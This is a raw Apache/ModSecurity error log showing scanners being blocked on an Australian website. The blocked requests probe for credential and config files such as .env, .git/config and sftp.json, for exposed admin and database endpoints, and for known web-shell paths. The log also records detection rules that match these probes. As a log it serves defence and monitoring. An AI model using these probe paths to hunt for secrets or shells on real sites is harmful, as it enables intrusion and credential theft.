[Tue Dec 09 07:57:36.891785 2025] [:error] [pid 62040:tid 62081] [client 142.93.129.190:48550] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aTdl8PkSVjwLGqZL-9J_EAAAAEs"]
[Tue Dec 09 07:57:36.926853 2025] [:error] [pid 62040:tid 62088] [client 128.199.182.55:56668] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/debug/default/view"] [unique_id "aTdl8PkSVjwLGqZL-9J_EQAAAFI"]
[Tue Dec 09 07:57:37.926138 2025] [:error] [pid 6097:tid 6114] [client 128.199.182.55:56670] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v2/_catalog"] [unique_id "aTdl8eY9nDD1R9gHO2S4rAAAAc8"]
[Tue Dec 09 07:57:38.899456 2025] [:error] [pid 62039:tid 62061] [client 142.93.129.190:48558] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about"] [unique_id "aTdl8q-WdjFepfLrlW6gwQAAABI"]
[Tue Dec 09 07:57:38.926465 2025] [:error] [pid 6097:tid 6117] [client 128.199.182.55:56678] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aTdl8uY9nDD1R9gHO2S4rQAAAdI"]
[Tue Dec 09 07:57:39.901383 2025] [:error] [pid 6053:tid 6056] [client 142.93.129.190:48574] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/debug/default/view"] [unique_id "aTdl8yHz_Tnml8kdMwzJ1wAAAYE"]
[Tue Dec 09 07:57:39.927365 2025] [:error] [pid 62041:tid 62112] [client 128.199.182.55:36540] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server-status"] [unique_id "aTdl8_OmnJGvfaNPxPNuOwAAAI8"]
[Tue Dec 09 07:57:40.892232 2025] [:error] [pid 62124:tid 62143] [client 142.93.129.190:48588] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v2/_catalog"] [unique_id "aTdl9FraBX51GaCVVuVhHwAAANA"]
[Tue Dec 09 07:57:40.929326 2025] [:error] [pid 6097:tid 6100] [client 128.199.182.55:36552] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/login.action"] [unique_id "aTdl9OY9nDD1R9gHO2S4sAAAAcE"]
[Tue Dec 09 07:57:41.900393 2025] [:error] [pid 62041:tid 62104] [client 142.93.129.190:48590] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aTdl9fOmnJGvfaNPxPNuPAAAAIc"]
[Tue Dec 09 07:57:41.929507 2025] [:error] [pid 26689:tid 26742] [client 128.199.182.55:36564] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/_all_dbs"] [unique_id "aTdl9dkbfj8nyBvIyRBcrQAAAQc"]
[Tue Dec 09 07:57:42.892978 2025] [:error] [pid 62040:tid 62086] [client 142.93.129.190:48592] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server-status"] [unique_id "aTdl9vkSVjwLGqZL-9J_EgAAAFA"]
[Tue Dec 09 07:57:42.929360 2025] [:error] [pid 6097:tid 6115] [client 128.199.182.55:36574] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.DS_Store"] [unique_id "aTdl9uY9nDD1R9gHO2S4sQAAAdA"]
[Tue Dec 09 07:57:43.894380 2025] [:error] [pid 26689:tid 26745] [client 142.93.129.190:45188] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/login.action"] [unique_id "aTdl99kbfj8nyBvIyRBcrgAAAQo"]
[Tue Dec 09 07:57:43.929532 2025] [:error] [pid 6053:tid 6071] [client 128.199.182.55:36576] [client 128.199.182.55] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aTdl9yHz_Tnml8kdMwzJ2QAAAZA"]
[Tue Dec 09 07:57:44.895960 2025] [:error] [pid 6053:tid 6074] [client 142.93.129.190:45204] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/_all_dbs"] [unique_id "aTdl-CHz_Tnml8kdMwzJ2gAAAZM"]
[Tue Dec 09 07:57:45.896500 2025] [:error] [pid 6053:tid 6066] [client 142.93.129.190:45214] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.DS_Store"] [unique_id "aTdl-SHz_Tnml8kdMwzJ3AAAAYs"]
[Tue Dec 09 07:57:45.929659 2025] [:error] [pid 62040:tid 62094] [client 128.199.182.55:36578] [client 128.199.182.55] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aTdl-fkSVjwLGqZL-9J_EwAAAFg"]
[Tue Dec 09 07:57:46.894166 2025] [:error] [pid 62040:tid 62073] [client 142.93.129.190:45220] [client 142.93.129.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aTdl-vkSVjwLGqZL-9J_FAAAAEM"]
[Tue Dec 09 07:57:46.929839 2025] [:error] [pid 6097:tid 6113] [client 128.199.182.55:36594] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aTdl-uY9nDD1R9gHO2S4tAAAAc4"]
[Tue Dec 09 07:57:47.929994 2025] [:error] [pid 26689:tid 26758] [client 128.199.182.55:36608] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.json"] [unique_id "aTdl-9kbfj8nyBvIyRBcrwAAARY"]
[Tue Dec 09 07:57:48.896317 2025] [:error] [pid 62040:tid 62072] [client 142.93.129.190:45230] [client 142.93.129.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aTdl_PkSVjwLGqZL-9J_FQAAAEI"]
[Tue Dec 09 07:57:48.930499 2025] [:error] [pid 34783:tid 34786] [client 128.199.182.55:36624] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/telescope/requests"] [unique_id "aTdl_K17odLapL7SFcxQdQAAAUE"]
[Tue Dec 09 07:57:49.907801 2025] [:error] [pid 26689:tid 26754] [client 142.93.129.190:45238] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aTdl_dkbfj8nyBvIyRBcsAAAARI"]
[Tue Dec 09 07:57:49.932243 2025] [:error] [pid 34783:tid 34802] [client 128.199.182.55:46260] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info.php"] [unique_id "aTdl_a17odLapL7SFcxQdwAAAVE"]
[Tue Dec 09 07:57:50.896959 2025] [:error] [pid 26689:tid 26748] [client 142.93.129.190:45252] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.json"] [unique_id "aTdl_tkbfj8nyBvIyRBcsgAAAQw"]
[Tue Dec 09 07:57:50.936318 2025] [:error] [pid 62041:tid 62108] [client 128.199.182.55:46262] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aTdl_vOmnJGvfaNPxPNuQAAAAIs"]
[Tue Dec 09 07:57:51.907970 2025] [:error] [pid 6053:tid 6079] [client 142.93.129.190:45254] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/telescope/requests"] [unique_id "aTdl_yHz_Tnml8kdMwzJ3QAAAZg"]
[Tue Dec 09 07:57:52.908646 2025] [:error] [pid 62124:tid 62147] [client 142.93.129.190:45264] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info.php"] [unique_id "aTdmAFraBX51GaCVVuVhIgAAANQ"]
[Tue Dec 09 07:57:53.906904 2025] [:error] [pid 62039:tid 62066] [client 142.93.129.190:57650] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aTdmAa-WdjFepfLrlW6gxQAAABc"]
[Tue Dec 09 08:02:09.375873 2025] [:error] [pid 62124:tid 62147] [client 31.97.153.61:47006] [client 31.97.153.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aTdnAVraBX51GaCVVuVh_AAAANQ"]
[Tue Dec 09 09:23:23.195423 2025] [:error] [pid 62039:tid 62055] [client 31.97.153.61:36804] [client 31.97.153.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aTd6C6-WdjFepfLrlW7GdgAAAAw"]
[Tue Dec 09 09:37:49.198210 2025] [proxy_fcgi:error] [pid 34783:tid 34788] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:49.535109 2025] [proxy_fcgi:error] [pid 34783:tid 34795] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:50.216333 2025] [proxy_fcgi:error] [pid 34783:tid 34796] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:50.551804 2025] [proxy_fcgi:error] [pid 34783:tid 34792] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:50.890689 2025] [proxy_fcgi:error] [pid 34783:tid 34793] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:51.281109 2025] [proxy_fcgi:error] [pid 34783:tid 34804] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:51.629384 2025] [proxy_fcgi:error] [pid 34783:tid 34797] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:52.661673 2025] [proxy_fcgi:error] [pid 34783:tid 34786] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:52.998740 2025] [proxy_fcgi:error] [pid 34783:tid 34788] [client 45.86.202.139:33627] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 09:37:53.670863 2025] [:error] [pid 34783:tid 34792] [client 45.86.202.139:33627] [client 45.86.202.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTd9ca17odLapL7SFcxohAAAAUc"]
[Tue Dec 09 09:38:04.338428 2025] [:error] [pid 62124:tid 62147] [client 45.86.202.130:65521] [client 45.86.202.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aTd9fFraBX51GaCVVuV3UAAAANQ"]
[Tue Dec 09 09:38:16.054698 2025] [:error] [pid 62039:tid 62050] [client 45.86.202.222:40891] [client 45.86.202.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "aTd9iK-WdjFepfLrlW7M0gAAAAc"]
[Tue Dec 09 10:57:48.213944 2025] [:error] [pid 6097:tid 6105] [client 144.217.163.247:55742] [client 144.217.163.247] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aTeQLOY9nDD1R9gHO2TylgAAAcY"]
[Tue Dec 09 11:22:20.157532 2025] [:error] [pid 26689:tid 26750] [client 45.138.16.233:55760] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/postnews.php"] [unique_id "aTeV7Nkbfj8nyBvIyRCNHAAAAQ4"]
[Tue Dec 09 11:22:20.750902 2025] [:error] [pid 6097:tid 6103] [client 45.138.16.233:55836] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aTeV7OY9nDD1R9gHO2T6LQAAAcQ"]
[Tue Dec 09 11:22:21.345771 2025] [:error] [pid 62041:tid 62121] [client 45.138.16.233:55938] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aTeV7fOmnJGvfaNPxPOZ9QAAAJg"]
[Tue Dec 09 13:52:52.669649 2025] [proxy_fcgi:error] [pid 12069:tid 12094] [client 145.239.10.137:42926] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/configwidgets.php
[Tue Dec 09 14:54:25.960494 2025] [:error] [pid 12069:tid 12083] [client 45.138.16.233:65433] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHoWwNDNgPF6LHYDTdfQAAAEw"], referer: www.google.com
[Tue Dec 09 14:54:25.960504 2025] [:error] [pid 12069:tid 12082] [client 45.138.16.233:65430] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHoWwNDNgPF6LHYDTdfAAAAEs"], referer: www.google.com
[Tue Dec 09 14:54:25.960600 2025] [:error] [pid 7382:tid 7411] [client 45.138.16.233:65436] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHoSdEXhamGkzwq-gyngAAAdE"]
[Tue Dec 09 14:54:25.966020 2025] [:error] [pid 7382:tid 7404] [client 45.138.16.233:65435] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHoSdEXhamGkzwq-gynwAAAco"], referer: www.google.com
[Tue Dec 09 14:54:25.970025 2025] [:error] [pid 59388:tid 59405] [client 45.138.16.233:65448] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTfHod7acjYK4IXwCBWkTQAAAI8"]
[Tue Dec 09 14:54:26.558374 2025] [:error] [pid 59388:tid 59409] [client 45.138.16.233:49229] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHot7acjYK4IXwCBWkWAAAAJM"], referer: www.google.com
[Tue Dec 09 14:54:26.581489 2025] [:error] [pid 59388:tid 59410] [client 45.138.16.233:49233] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHot7acjYK4IXwCBWkWQAAAJQ"], referer: www.google.com
[Tue Dec 09 14:54:26.601498 2025] [:error] [pid 7382:tid 7399] [client 45.138.16.233:49248] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHoidEXhamGkzwq-gypgAAAcU"], referer: www.google.com
[Tue Dec 09 14:54:26.604191 2025] [:error] [pid 7287:tid 7298] [client 45.138.16.233:49247] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHov3UQf3HGDaVS5P-QgAAAAk"]
[Tue Dec 09 14:54:26.625770 2025] [:error] [pid 12069:tid 12076] [client 45.138.16.233:49257] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTfHomwNDNgPF6LHYDTdhgAAAEU"]
[Tue Dec 09 14:54:27.193359 2025] [:error] [pid 7287:tid 7294] [client 45.138.16.233:51951] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHo_3UQf3HGDaVS5P-TwAAAAU"], referer: www.google.com
[Tue Dec 09 14:54:27.194205 2025] [:error] [pid 59388:tid 59408] [client 45.138.16.233:51976] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHo97acjYK4IXwCBWkXgAAAJI"], referer: www.google.com
[Tue Dec 09 14:54:27.197459 2025] [:error] [pid 7324:tid 7350] [client 45.138.16.233:52028] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHo-f70zXc9zH4rTLU3AAAAVU"], referer: www.google.com
